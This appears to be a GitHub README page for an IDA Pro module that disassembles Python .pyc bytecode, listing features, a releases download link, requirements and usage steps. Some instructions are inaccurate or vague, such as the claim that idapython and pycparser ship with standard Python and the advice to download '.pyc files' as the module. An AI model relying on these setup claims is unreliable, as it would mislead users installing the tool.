Skip to content

index.md

Latest commit

 

History

History
67 lines (53 loc) · 3.7 KB

index.md

File metadata and controls

67 lines (53 loc) · 3.7 KB
layout default
title 🎉 ida-python-bytecode - Effortless Python Bytecode Analysis
description 🚀 Disassemble and analyze Python bytecode from .pyc files, supporting versions 2.7 to 3.14+ with rich outputs and automatic version detection.

🎉 ida-python-bytecode - Effortless Python Bytecode Analysis

🏷️ Download Now

Release

🚀 Getting Started

Welcome to ida-python-bytecode! This module allows you to efficiently disassemble and analyze Python compiled bytecode files (.pyc). You can easily work with bytecode from various Python versions, making your analysis smoother.

🔧 Features

  • Full Python Version Support: Works with bytecode from Python versions 2.7 through 3.14+.
  • Automatic Version Detection: The module detects the Python version from the .pyc file headers.
  • Raw Marshal Support: Load raw code objects directly without needing a header.
  • Rich Disassembly Output: View detailed disassembly that includes:
    • Resolved constant references such as strings and numbers.
    • Variable names for better understanding.
    • Comparison and binary operator symbols.
    • Intrinsic function names for Python 3.12+.
  • Proper Control Flow Analysis: Understand how the code flows and executes.

📥 Download & Install

To get the latest version, visit this page to download: Releases Page.

You can find the latest release along with notes about new features and bug fixes.

⚙️ System Requirements

  • Operating System: Windows 10 or later, macOS, or Linux.
  • Python Version: Ensure you have Python 2.7 to 3.14+ installed on your system.

🔗 Dependencies

This module may require some additional Python libraries. While these libraries are usually included in a standard Python installation, please check for:

  • idapython
  • pycparser

🧑‍🏫 How to Use

  1. Download the Module: Click the link above to download the relevant .pyc files or the module.
  2. Installation: Place the module in the appropriate directory in your IDA Pro installation. Follow the instructions here if needed:
    • For Windows: C:\Path\To\IDA\python
    • For macOS/Linux: /Path/To/IDA/python
  3. Open IDA Pro: Launch IDA Pro.
  4. Load your Python bytecode file: Open the .pyc file in IDA.
  5. Run the Analysis: Use the module to analyze the bytecode.

🐞 Troubleshooting

If you encounter issues, check the following:

  • Ensure you have the correct version of Python installed.
  • Verify the module is correctly placed in the IDA directory.
  • Consult the detailed documentation available on the releases page for additional support.

📚 Additional Resources

  • Documentation: Find detailed guides and examples in the Wiki section.
  • Community: Join discussions and seek help from fellow users via the GitHub Discussions forum.

🛠️ Contributing

We welcome contributions. If you wish to enhance this module, feel free to fork the repository, make your changes, and submit a pull request. Make sure to follow the contribution guidelines.

📞 Support

For any inquiries or issues, please open an issue on GitHub. We aim to respond promptly to help you get the most from ida-python-bytecode.

📑 License

This project is licensed under the MIT License. You can use it freely while adhering to the terms outlined in the license file.

Happy analyzing! Enjoy using ida-python-bytecode for your Python bytecode processing needs.